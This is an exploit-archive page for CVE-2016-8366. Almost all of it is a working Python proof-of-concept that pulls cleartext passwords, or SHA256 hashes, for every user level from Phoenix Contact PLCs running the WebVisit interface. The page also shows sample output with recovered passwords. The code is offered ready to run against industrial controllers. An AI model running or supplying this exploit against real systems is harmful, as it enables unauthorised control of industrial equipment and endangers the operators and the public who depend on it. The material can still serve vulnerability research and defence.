phoenix contact webvisit 6.40.00 password disclosure

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phoenix contact webvisit 6.40.00 password disclosure Code Code...
				
# Exploit Title: Phoenix Contact WebVisit 6.40.00 - Password Disclosure # Exploit Author: Deneut Tijl # Date: 2018-09-30 # Vendor Homepage: www.phoenixcontact.com # Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5 # Version: WebVisit < 6.40.00 # CVE: CVE-2016-8366 # This script will perform retrieval of clear text credentials for a Phoenix Contact PLC with a WebVisit GUI, # password protected, application on it Tested on the Phoenix Contact ILC-390 PLC, but others are # surely equally vulnerable with WebVisit 6.40.00, the passwords are SHA256 hashes, which also will be retrieved # Sample output: # C:\Users\admin\Desktop>CVE-2016-8366.py # Please enter an IP [192.168.1.200]: # This is the password for userlevel 1: pw1 # This is the password for userlevel 2: SuperPass2 # This is the password for userlevel 3: Extreme2TheMax3 # This is the password for userlevel 4: PowerPass4 # Press Enter to exit # PoC #! /usr/bin/env python import urllib2, binascii strIP = raw_input('Please enter an IP [192.168.1.200]: ') if strIP == '': strIP = '192.168.1.200' try: URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/')) except urllib2.HTTPError: print('#### Critical Error with IP ' + strIP + ': no response') raw_input('Press Enter to exit') exit() strMainTEQ = '' for line in URLResponse.readlines(): if 'MainTEQName' in line: strMainTEQ = line.split('VALUE="')[1].split('"')[0] if strMainTEQ == '': print('#### Error, no \'MainTEQ\' found on the main page') raw_input('Press Enter to exit') exit() try: LoginTeqResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strMainTEQ)) except urllib2.HTTPError: print('Critical Error with IP ' + strIP + ': File \'' + strMainTEQ + '\' not found') raw_input('Press Enter to exit') exit() strAlldata = '' for line in LoginTeqResponse.readlines(): strAlldata += binascii.hexlify(line) ## For vulnerable webvisit: ## Seems to be 'userLevel' + x bytes + 1 + y bytes + 'password' ## userLevel + '0506030001' + 31 + '00030003010301068300' + passlength + 'password' ## For WebVisit > 6.40.00 ## userLevel + '0003000301030b06830040' + 'SHA256' (wich is 64 bytes) arrData = strAlldata.split('757365724c6576656c0506030001') ## userLevel + '0506030001' for item in arrData: if '00030003010301068300' in item: intUserlevel = int(binascii.unhexlify(item[:2]), 16) ## Turn str '31' into int 1 strPassLength = item.split('00030003010301068300')[1][:2] strPassword = binascii.unhexlify(item.split('00030003010301068300')[1][2:2+(2*int(strPassLength,16))]) print('This is the password for userlevel ' + str(intUserlevel) + ': ' + strPassword) elif '0003000301030b06830040' in item: intUserlevel = int(binascii.unhexlify(item[:2]), 16) strHash = binascii.unhexlify(item.split('0003000301030b06830040')[1][:64*2]) print('This is the hash for userlevel ' + str(intUserlevel) + ': ' + strHash.lower()) raw_input('Press Enter to exit')

Phoenix contact webvisit 6.40.00 password disclosure Vulnerability / Exploit Source : Phoenix contact webvisit 6.40.00 password disclosure



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